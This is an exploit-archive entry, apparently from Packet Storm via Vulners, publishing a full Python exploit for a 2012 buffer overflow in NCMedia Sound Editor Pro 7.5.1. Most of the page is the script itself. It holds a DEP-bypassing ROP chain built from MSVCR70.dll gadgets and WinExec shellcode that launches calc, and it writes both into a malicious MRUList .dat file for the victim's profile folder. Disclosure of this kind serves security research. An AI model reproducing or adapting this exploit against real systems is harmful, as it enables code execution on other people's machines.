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NCMedia Sound Editor Pro 7.5.1 Buffer Overflow

🗓️ 03 Oct 2012 00:00:00Reported by b33fType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Ncm Sound Editor Pro 7.5.1 Buffer Overflow in Windows 7 Pro SP

Code
`#!/usr/bin/python  
  
#---------------------------------------------------------------------------#  
# Exploit: NCMedia Sound Editor Pro v7.5.1 SEH&DEP #  
# Author: b33f - http://www.fuzzysecurity.com/ #  
# OS: Windows 7 Pro SP1 (probably universal across 32-bit) #  
# POC - Julien Ahrens XP SP3: http://www.exploit-db.com/exploits/21331/ #  
# Software: http://www.soundeditorpro.com/ #  
# HOWTO: put the *.dat file in [USER]\Roaming\Sound Editor Pro\ #  
# open -> click "File" menu -> calc ;)) #  
#---------------------------------------------------------------------------#  
# Curiously enough, the only thing that went through the mind of the #  
# ROP-Chain as it was executed was "Oh no, not again"! #  
#---------------------------------------------------------------------------#  
  
import sys, socket, struct  
  
file="MRUList201202.dat"  
  
#--------------------------------------------------------------------------------------------------------------#  
# Semi-Universal ROP chain based entirely on MSVCR70.dll which comes packaged with "NCMedia Sound Editor"... #  
#--------------------------------------------------------------------------------------------------------------#  
rop = struct.pack('<L',0x7c0126bc) # XCHG EAX,EBP # ADD AL,7C # RETN \  
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN |  
rop += struct.pack('<L',0x7C0390FD) # VirtualProtect() -> ESI=0 EBP=0 -> 7c039138(VP)-3B | MOV VP -> ESI  
rop += struct.pack('<L',0x7c023a4f) # ADD ESI,DWORD PTR DS:[EAX+EBP+3B] # RETN /  
#--------------------------------------------------------------------------------------------------------------#  
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN \  
rop += struct.pack('<L',0xFFBF90EF) # NEG is -> 0x00406f11 : jmp esp [SoundEditorPro.exe] | JMP ESP -> EBP  
rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN [MSVCR70.dll] |  
rop += struct.pack('<L',0x7c0126b7) # XCHG EAX,EBP # ADD AL,7C # RETN /  
#--------------------------------------------------------------------------------------------------------------#  
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN \  
rop += struct.pack('<L',0xFFFFFDFF) # Neg is 201-HEX (513-bytes) | Executable Size -> EBX  
rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN |  
rop += struct.pack('<L',0x7c01561c) # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN /  
#--------------------------------------------------------------------------------------------------------------#  
rop += struct.pack('<L',0x7c026484) # POP EDI # RETN \ ROP-NOP -> EDI  
rop += struct.pack('<L',0x7c034e02) # ROP-NOP /  
#--------------------------------------------------------------------------------------------------------------#  
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN \  
rop += struct.pack('<L',0xFFFFFFC0) # NEG is 0x40 | newProtect -> EDX  
rop += struct.pack('<L',0x7c0167cd) # NEG EAX # RETN |  
rop += struct.pack('<L',0x7c026dc4) # MOV EDX,EAX # INC ECX # MOVZX EAX,BYTE PTR DS:[ECX] # ADD EAX,EDX # RETN /  
#--------------------------------------------------------------------------------------------------------------#  
rop += struct.pack('<L',0x7c034e01) # POP ECX # RETN \ RW lpOldProtect -> ECX  
rop += struct.pack('<L',0x7c049001) # lpOldProtect /  
#--------------------------------------------------------------------------------------------------------------#  
rop += struct.pack('<L',0x7c0358a1) # POP EAX # RETN \ NOP padding -> EAX  
rop += struct.pack('<L',0x90909090) # NOP /  
#--------------------------------------------------------------------------------------------------------------#  
rop += struct.pack('<L',0x7c0126b6) # PUSHAD # XCHG EAX,EBP # ADD AL,7C # RETN | PUSHAD -> pwnd!!  
#--------------------------------------------------------------------------------------------------------------#  
  
#----------------------------------  
# Greets to SkyLined, you do great work with shellcode!!  
#----------------------------------  
calc = (  
"\x31\xD2" #  
"\x52" #  
"\x68\x63\x61\x6C\x63" # Stack has arguments for  
"\x89\xE6" # WinExec -> calc  
"\x52" #  
"\x56" ########  
"\x64\x8B\x72\x30" #  
"\x8B\x76\x0C" #  
"\x8B\x76\x0C" # Found Kernel32  
"\xAD" # base address  
"\x8B\x30" #  
"\x8B\x7E\x18" ########  
"\x8B\x5F\x3C" # Found export table offset  
"\x8B\x5C\x1F\x78" ########  
"\x8B\x74\x1F\x20" # Found export names table  
"\x01\xFE" ########  
"\x8B\x4C\x1F\x24" # Found export ordinals table  
"\x01\xF9" ########  
"\x42" #  
"\xAD" # Found WinExec ordinal  
"\x81\x3C\x07\x57\x69\x6E\x45" #  
"\x75\xF5" ########  
"\x0F\xB7\x54\x51\xFE" #  
"\x8B\x74\x1F\x1C" #  
"\x01\xFE" # Pop calc ;))  
"\x03\x3C\x96" #  
"\xFF\xD7") #  
  
#----------------------------------  
# badchars -> '\x00\x0d\x0a'  
# 0x0040e02a {pivot 1092} # ADD ESP,444 # RETN [SoundEditorPro.exe]  
# ROP-NOP Slide 0x7c034e02 [MSVCR70.dll]  
#----------------------------------  
b00m = "\x90"*10 + calc  
poc = "\x02\x4E\x03\x7C"*61 + rop + b00m + "\x41"*(3880-len(rop + b00m)) + "\x2A\xE0\x40\x00"  
  
try:  
print "[*] Creating exploit file...\n"  
writeFile = open (file, "w")  
writeFile.write( poc )  
writeFile.close()  
print "[*] File successfully created!"  
except:  
print "[!] Error while creating file!"  
  
`

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03 Oct 2012 00:00Current
1.2Low risk
Vulners AI Score1.2
21